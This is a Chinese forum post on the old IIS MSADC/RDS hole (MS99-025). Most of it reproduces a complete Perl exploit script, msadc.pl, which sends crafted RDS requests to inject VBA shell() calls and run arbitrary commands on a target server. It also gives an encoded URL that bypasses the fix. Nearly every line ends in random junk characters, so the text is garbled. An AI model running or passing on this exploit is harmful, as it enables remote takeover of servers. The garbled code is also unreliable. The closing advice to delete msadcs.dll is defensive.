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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 7 /XfPF  
G@scz!Nt  
涉及程序: %;b]k  
Microsoft NT server wnHfjF  
aA'of>'ib|  
描述: D|IS@gWa  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 '8;'V%[+  
Pdk#"H-j  
详细: k;jXVa  
如果你没有时间读详细内容的话,就删除: #E#Fk3-ljQ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Nu@dMG<5  
有关的安全问题就没有了。 | &/_{T  
e;9x%kNs!  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Mt&n|']`8  
@nIoIz D~  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 8+8L'Yv;  
关于利用ODBC远程漏洞的描述,请参看: z+<ofZ(.  
VUZeC,FfO  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm W>&!~9H  
5jHr?C  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ,iXQ"):!OB  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp *s|'V+1  
OuyO_DSI  
这里不再论述。 i-R}O6  
L)"CE].  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: j8;Uny9  
_,3%)sn-)  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset z[0tM&pv  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! yacN=]SW5  
$ J!PSF8PL  
C0CJ;   
#将下面这段保存为txt文件,然后: "perl -x 文件名" &!B4v<#,U  
5. +_'bF|  
#!perl 4mnVXKt%.  
# Zm6|aHx8v  
# MSADC/RDS 'usage' (aka exploit) script +g_m|LF  
# p;~oIy\,  
# by rain.forest.puppy .pIO<ZAFT  
# v[O?7Np  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me -@.FnFa  
# beta test and find errors! `bF4/iBW  
EF'8-*  
use Socket; use Getopt::Std; vK$wc~  
getopts("e:vd:h:XR", \%args); e<+b?@}=B  
-?NAA]P5c@  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; \s7/`  
/4KHf3Nr  
if (!defined $args{h} && !defined $args{R}) { &FWz7O>1  
print qq~ DC0O N`  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ?*'0;K13  
-h <host> = host you want to scan (ip or domain) K?>sP%m)  
-d <seconds> = delay between calls, default 1 second 9(lcQuE9  
-X = dump Index Server path table, if available YI2x*t!  
-v = verbose bZpx61h|  
-e = external dictionary file for step 5 8L5O5F'  
gObafIA  
Or a -R will resume a command session {+V ]@sz  
3!`_Q%  
~; exit;} ~ /rKKc  
nK#%Od{GF  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; c[Z#q*Q  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} G|TnvZ KX  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} /z:1nq  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); o $'K}U  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} xXSfYW  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } nX8ulGGs  
<,Mf[R2N>  
if (!defined $args{R}){ $ret = &has_msadc; L.8`5<ITw  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} uw(Ml=  
PW\me7iCz  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ,s/laZ)V  
. "cmd /c "; v>_83P`  
$in=<STDIN>; chomp $in; 8~3I^I_v  
$command="cmd /c " . $in ; cUn>gT  
`> +:38  
if (defined $args{R}) {&load; exit;} oWEzzMRz  
m]c1DvQb  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; B qLL]%F  
&try_btcustmr; 03"FK"2S  
dFmpx%+p  
print "\nStep 2: Trying to make our own DSN..."; ay]l\d2!3  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Y7;=\/SV  
tl`x/   
print "\nStep 3: Trying known DSNs..."; ,.0B0Y-X  
&known_dsn; ^fmuBe}d{  
&"7+k5O  
print "\nStep 4: Trying known .mdbs..."; z L9:e7o  
&known_mdb; PbFbi hg  
Q 7\j:.  
if (defined $args{e}){ POf xN.  
print "\nStep 5: Trying dictionary of DSN names..."; t#w,G  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } g!OcWy)7  
`26.+>Z7  
print "Sorry Charley...maybe next time?\n"; M*D@zb0ia  
exit; 15OzO.Ud  
5 9i2*<k  
############################################################################## E6M*o+Y  
<'\!  
sub sendraw { # ripped and modded from whisker 7spZe"  
sleep($delay); # it's a DoS on the server! At least on mine... 4*HBCzr7[  
my ($pstr)=@_; 204"\ mv  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || #qv!1$}2  
die("Socket problems\n"); u=Xpu,q  
if(connect(S,pack "SnA4x8",2,80,$target)){ P"o|kRO  
select(S); $|=1; *$Zy|&[Z  
print $pstr; my @in=<S>; +O^}  t  
select(STDOUT); close(S); I'[;E.KU  
return @in; Rtlc&Q.b  
} else { die("Can't connect...\n"); }} VP<LY/'f  
QL*RzFAD 3  
############################################################################## _9q byhS7  
uh% J  
sub make_header { # make the HTTP request fYpJ2y-sA  
my $msadc=<<EOT { ft |*  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 0.2stBw  
User-Agent: ACTIVEDATA {rn^  
Host: $ip N-q6_  
Content-Length: $clen 5sNN:m  
Connection: Keep-Alive "c.-`1,t  
|~&cTDd  
ADCClientVersion:01.06 hBV m; `  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 pl$wy}W-  
$wDSED -  
--!ADM!ROX!YOUR!WORLD! ?bg /%o  
Content-Type: application/x-varg zKp R:F  
Content-Length: $reqlen &eqqgLz  
w9n0p0xr<  
EOT T(Bcp^N  
; $msadc=~s/\n/\r\n/g; J'tJY% `  
return $msadc;} T#i~/  
m/,80J8L+f  
##############################################################################  J%T=FU  
oTx>oM,  
sub make_req { # make the RDS request Spin]V  
my ($switch, $p1, $p2)=@_; C ](djkA$  
my $req=""; my $t1, $t2, $query, $dsn; pG'?>]Rt4  
2EYWX! Bx  
if ($switch==1){ # this is the btcustmr.mdb query !;P[Y"h@r  
$query="Select * from Customers where City=" . make_shell(); 0d1!Q!PH3  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . S!b?pl  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} p.b#RY  
2 /*z5  
elsif ($switch==2){ # this is general make table query sB$ "mJ  
$query="create table AZZ (B int, C varchar(10))"; _!Pi+l4p/}  
$dsn="$p1";} D7m uf  
H328I}7  
elsif ($switch==3){ # this is general exploit table query ivB,s5<  
$query="select * from AZZ where C=" . make_shell(); t=|}?lN<  
$dsn="$p1";} gZBKe!@a|  
]7oo`KcQ|  
elsif ($switch==4){ # attempt to hork file info from index server ?GqH/ (O  
$query="select path from scope()"; $yq76  
$dsn="Provider=MSIDXS;";} .}T-R?  
DtJ3`Jd  
elsif ($switch==5){ # bad query yE(<F2  
$query="select"; f2&6NC;  
$dsn="$p1";} 5.DmMG[T^=  
k8@bQ"#b  
$t1= make_unicode($query); xxr'g =  
$t2= make_unicode($dsn); \RRSrPLd-  
$req = "\x02\x00\x03\x00"; s^4wn:*$zd  
$req.= "\x08\x00" . pack ("S1", length($t1)); `^ a:1^  
$req.= "\x00\x00" . $t1 ; teC/Uf 5  
$req.= "\x08\x00" . pack ("S1", length($t2)); :Nwv &+  
$req.= "\x00\x00" . $t2 ; ` N R,8F  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Q7{{r&|t&  
return $req;} s,kY12<7m  
ynZEJKo  
############################################################################## W~a|AU8]C  
 WFhppi   
sub make_shell { # this makes the shell() statement 9W_mSum  
return "'|shell(\"$command\")|'";} qnnRS  
94|ZY}8|f  
############################################################################## W]_a_5  
H K J^6|'  
sub make_unicode { # quick little function to convert to unicode l*huKSX}  
my ($in)=@_; my $out; {v|ib112;  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } hh5h \ZI%  
return $out;} 4\k{E-x $  
uI& 0/  
############################################################################## l!W!Gz0to  
9a_UxF+6/  
sub rdo_success { # checks for RDO return success (this is kludge) _a|g >  
my (@in) = @_; my $base=content_start(@in); ^)a:D KL  
if($in[$base]=~/multipart\/mixed/){ -B! a O65^  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ;' |CSjco  
return 0;} >n(dyU@  
Sa0IRC<LV  
############################################################################## TTbJ9O<43  
s&Al4>}.f  
sub make_dsn { # this makes a DSN for us cIC/3g}]  
my @drives=("c","d","e","f"); uEG4^  
print "\nMaking DSN: "; 5e1oxSU  
foreach $drive (@drives) { Gpcordt/  
print "$drive: "; L/,g D.h^  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . (w\|yPBB  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 1 3)6p|6x  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); q?)5yukeF  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;  TU6YS<  
return 0 if $2 eq "404"; # not found/doesn't exist Qh6 vH9(D  
if($2 eq "200") { j 9GKz1  
foreach $line (@results) { !'IZr{Y>  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 7y42)X  
} return 0;} q8.Z7ux  
8 nqF i  
############################################################################## y4aT-^C'  
%e)vl[:}  
sub verify_exists { x\yr~$}(J  
my ($page)=@_; ;]=@;? 9  
my @results=sendraw("GET $page HTTP/1.0\n\n"); o4@d,uIw^  
return $results[0];} iT s" RW  
w7Mh8'P54  
############################################################################## u,}>I%21  
l-!"   
sub try_btcustmr { K K]R@{ r  
my @drives=("c","d","e","f"); &5sPw^{,H  
my @dirs=("winnt","winnt35","winnt351","win","windows"); dM19;R@4  
rc7c$3#X  
foreach $dir (@dirs) { =|dm#w_L"  
print "$dir -> "; # fun status so you can see progress vRD(* S9^  
foreach $drive (@drives) { VS>hi~j  
print "$drive: "; # ditto Ov4 [gHy&  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 4>fj @X(3  
$reqlenlen=length( "$reqlen" ); 5|t-CY{?b  
$clen= 206 + $reqlenlen + $reqlen; $G9E=wn  
d{) =E8wE  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); X56q ,jCJ{  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} &gJ@"`r4  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ,KF>@3f  
6 OvH"/X4  
############################################################################## e6qIC*C!  
rg#/kd<?[V  
sub odbc_error { zQt)>Qx_  
my (@in)=@_; my $base; (2"4PU8  
my $base = content_start(@in); -*Qg^1]i+  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this B<h4ZK%  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (!0_s48f  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; B}* \ pdJ  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _ Qek|>  
return $in[$base+4].$in[$base+5].$in[$base+6];} M9Yov4k,4]  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";  G;A  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . I")Ud?v0)  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} s?nj@:4  
3UZ_1nY  
############################################################################## 4`cfFowK~  
b j<T`M!  
sub verbose { NNTrH\SU #  
my ($in)=@_; wdV)M?  
return if !$verbose; ;- Vs|X  
print STDOUT "\n$in\n";} YnDaB px  
MrOtsX  
############################################################################## ^L Xr4  
D62'bFB^  
sub save { f`\J%9U_O  
my ($p1, $p2, $p3, $p4)=@_; mUR[;;l  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ?duw0SZ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 5GPAt  
close OUT;} Vhb~kI!x  
b}u#MU  
############################################################################## [xDIK8d:I  
9)j"|5H  
sub load { KBI 1t$  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; t=p"nIE  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  :J)^gc  
@p=<IN>; close(IN); 3O2vY1Y2  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); QV*la=j/  
$target= inet_aton($ip) || die("inet_aton problems"); 0TICv2l!  
print "Resuming to $ip ..."; VeQ [A?pER  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; #-R]HLW*  
if($p[1]==1) { N "eK9>  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; vt5>>rl  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; !y!s/i&P%  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); @cm[]]f'l  
if (rdo_success(@results)){print "Success!\n";} ^r]-v++  
else { print "failed\n"; verbose(odbc_error(@results));}} 4K4u]"1  
elsif ($p[1]==3){ ~EYdEqS)  
if(run_query("$p[3]")){ w> Ft5"z  
print "Success!\n";} else { print "failed\n"; }} T:CWxusL  
elsif ($p[1]==4){ C)9-{Yp  
if(run_query($drvst . "$p[3]")){ gq~`!tW'  
print "Success!\n"; } else { print "failed\n"; }} `$3P@SO"  
exit;} |Xv\3r  
XoMgb DC  
############################################################################## HBk5 p>&  
Z vyF"4QN  
sub create_table { *0'{ n*>  
my ($in)=@_; WFS6N.Ap  
$reqlen=length( make_req(2,$in,"") ) - 28; %VXIiu[  
$reqlenlen=length( "$reqlen" ); ~wGjr7Wt  
$clen= 206 + $reqlenlen + $reqlen; /\1Q :B3W  
my @results=sendraw(make_header() . make_req(2,$in,"")); SxC(:k2b;  
return 1 if rdo_success(@results); Mz lE  
my $temp= odbc_error(@results); verbose($temp); 0{?%"t\/f  
return 1 if $temp=~/Table 'AZZ' already exists/; +OB&PE  
return 0;} Q-U,1b  
L9whgXD  
############################################################################## ~IQjQz?  
k<"N^+GSz  
sub known_dsn { =aehhs>  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go O&">%aU1I  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", v57Kr ,  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", (ijO|%?  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); MU N:}S  
=3,Sjme  
foreach $dSn (@dsns) { nXxnyom,  
print "."; )%!X,  
next if (!is_access("DSN=$dSn")); yG>sBc  
if(create_table("DSN=$dSn")){ R/^;,.  
print "$dSn successful\n"; o9v9 bL+X  
if(run_query("DSN=$dSn")){ ~i}/  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { =)]RD%Oq  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 91#n Aj%  
#e9XU:9 @g  
############################################################################## T(~^X-k  
BTE&7/i 21  
sub is_access { dsb z\w3:  
my ($in)=@_; a<V Mh79*  
$reqlen=length( make_req(5,$in,"") ) - 28; 52.hJNq#L  
$reqlenlen=length( "$reqlen" ); VrFI5_M/  
$clen= 206 + $reqlenlen + $reqlen; mj y+_  
my @results=sendraw(make_header() . make_req(5,$in,"")); o%Qn%gaX  
my $temp= odbc_error(@results); E 6!V0D  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); F#efs6{  
return 0;} !}xRwkN  
D[Ld=e8t  
############################################################################## zH@+\#M  
^^)\| kW?  
sub run_query { gti=GmL(L  
my ($in)=@_; $g#d1u0q  
$reqlen=length( make_req(3,$in,"") ) - 28; L+)mZb&  
$reqlenlen=length( "$reqlen" ); qZSW5lC0  
$clen= 206 + $reqlenlen + $reqlen; $,Y?q n/  
my @results=sendraw(make_header() . make_req(3,$in,"")); :/NP8$~@j  
return 1 if rdo_success(@results); bHHR^*B  
my $temp= odbc_error(@results); verbose($temp); WS$~o*Z8  
return 0;} m(WVxVB  
Y XxWu8  
############################################################################## Zt4 r_ 7  
z &[[4[  
sub known_mdb { #8bI4J{dE  
my @drives=("c","d","e","f","g"); GuJIN"P]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); .q$/#hN:e  
my $dir, $drive, $mdb; ]6HnK%  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; + V-&?E(  
 HYg7B  
# this is sparse, because I don't know of many i{>YQ  
my @sysmdbs=( "\\catroot\\icatalog.mdb", wtGb 3D"am  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", lHPhZ(Z  
"\\system32\\certmdb.mdb", *P[N.5{  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% i"hn%u$V  
P`M1sON~  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Y+~>9-S  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 2f-Or/v  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", #kQLHi3##  
"\\cfusion\\cfapps\\security\\realm_.mdb", z.kBQ{P  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 2wgdrO|B  
"\\cfusion\\database\\cfexamples.mdb", 2{#=Ygb0  
"\\cfusion\\database\\cfsnippets.mdb", 8L(KdDY  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", S'v UxOAo  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", /M_kJe,%  
"\\cfusion\\brighttiger\\database\\cleam.mdb", +;;pM[U  
"\\cfusion\\database\\smpolicy.mdb", TC'^O0aZ_  
"\\cfusion\\database\cypress.mdb", N;e*eMFE  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", RjX#pb  
"\\website\\cgi-win\\dbsample.mdb", .s@[-! p  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", . J*2J(T,  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" K+c>Cj}H  
); #these are just ;4]l P  
foreach $drive (@drives) { (%;D& ~%o  
foreach $dir (@dirs){ YA^g[,  
foreach $mdb (@sysmdbs) { pJwy ~ L  
print "."; GP}+c8|2  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ *|:]("i  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; rkWW)h(e  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ I~Z m**L  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 1Aa=&B2  
} else { print "Something's borked. Use verbose next time\n"; }}}}} & |o V\L  
-3:x(^|:K  
foreach $drive (@drives) { YcBAW4B`  
foreach $mdb (@mdbs) { fBt7#Tc=U  
print "."; j-etEWOTr  
if(create_table($drv . $drive . $dir . $mdb)){ n 6|\  
print "\n" . $drive . $dir . $mdb . " successful\n"; R2[!h1nZ  
if(run_query($drv . $drive . $dir . $mdb)){ Rd*/J~TK  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; "mkTCR^]e  
} else { print "Something's borked. Use verbose next time\n"; }}}} ,cFp5tV$  
} (tP^F)}e5  
u8@>ThPD  
############################################################################## -n'%MT=Cd  
M3 $MgsN:  
sub hork_idx { LHP?!rO0  
print "\nAttempting to dump Index Server tables...\n"; $rE_rZ+]="  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 1YMu\(  
$reqlen=length( make_req(4,"","") ) - 28; x; *KRO  
$reqlenlen=length( "$reqlen" ); bwh.ekf8  
$clen= 206 + $reqlenlen + $reqlen; qT L@N9  
my @results=sendraw2(make_header() . make_req(4,"","")); GQ9g$&T  
if (rdo_success(@results)){ ub] w"N  
my $max=@results; my $c; my %d; ;q$O^r~  
for($c=19; $c<$max; $c++){ 1e^-_Bo6'o  
$results[$c]=~s/\x00//g; (wIpq<%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ouUU(jj02  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; \6${Na' \  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; c =i6  
$d{"$1$2"}="";} n _*k e  
foreach $c (keys %d){ print "$c\n"; } Nm=W?i  
} else {print "Index server doesn't seem to be installed.\n"; }} 1 {V*(=Tp  
xTL"%'|  
############################################################################## SLc'1{  
07+Qai-]  
sub dsn_dict { <kmn3w,vi  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); w~g)Dz2G  
while(<IN>){ r yO\$m  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 6y9#am?  
next if (!is_access("DSN=$dSn")); ToVm]zPOUt  
if(create_table("DSN=$dSn")){ @YTZnGG*  
print "$dSn successful\n"; Io&F0~Z;;(  
if(run_query("DSN=$dSn")){ 5q?ZuAAA  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { b=+'i  
print "Something's borked. Use verbose next time\n";}}} NUH#  
print "\n"; close(IN);} /P0%4aWu=  
H;$OCDRC  
############################################################################## |ldRs'c{  
Ol24A^  
sub sendraw2 { # ripped and modded from whisker ,#r>#fi0  
sleep($delay); # it's a DoS on the server! At least on mine... ""ICdZ_A  
my ($pstr)=@_; PZ"=t!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _`zj^*%  
die("Socket problems\n"); 6F3#Rxh  
if(connect(S,pack "SnA4x8",2,80,$target)){ 7=8e|$K_  
print "Connected. Getting data"; 5 !G}*u.  
open(OUT,">raw.out"); my @in; I%whM~M1+  
select(S); $|=1; print $pstr;  P-QZ=dm  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 7 0:a2m  
close(OUT); select(STDOUT); close(S); return @in; PQ|kE`'  
} else { die("Can't connect...\n"); }} ~V"D|U;i +  
.~6p/fHX  
############################################################################## i4N '[ P}  
dg 4 QA_"  
sub content_start { # this will take in the server headers g%Ap<iT  
my (@in)=@_; my $c; (;'?56  
for ($c=1;$c<500;$c++) { <gKT7ONtg  
if($in[$c] =~/^\x0d\x0a/){ b^\u P  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }   Hs8c%C  
else { return $c+1; }}} vd9><W  
return -1;} # it should never get here actually /nRi19a%xU  
eUA6X ,I  
############################################################################## /AP@Bhm  
F"3PP ~  
sub funky { oToUpkAI  
my (@in)=@_; my $error=odbc_error(@in); y!Q&;xO+!  
if($error=~/ADO could not find the specified provider/){ PK5xnT:  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Qe=!'u.nL  
exit;} `|;R}"R;  
if($error=~/A Handler is required/){ ;K0kQ<y-Y  
print "\nServer has custom handler filters (they most likely are patched)\n"; W@1Nit-R  
exit;} ?*a:f"vQ  
if($error=~/specified Handler has denied Access/){ @U(D&_H,K  
print "\nServer has custom handler filters (they most likely are patched)\n"; 0Q=4{*:?  
exit;}} -Vk+zEht  
0*q&)  
############################################################################## c?CjJ}-7  
}}v;V*_V  
sub has_msadc { [|\~-6"7N|  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 8|`4D 'Ln  
my $base=content_start(@results); qde.;Yv9  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ]z,W1Zs?  
return 0;} &<-Sxjj  
<5A(rDij  
######################## k#% BxT  
mh!;W=|/"  
<IGQBu#ZH  
解决方案: 7%9Sz5z  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll {SW}S_  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 2Tt@2h_L  
T&I*8 R~  
拿出来充数 哈哈
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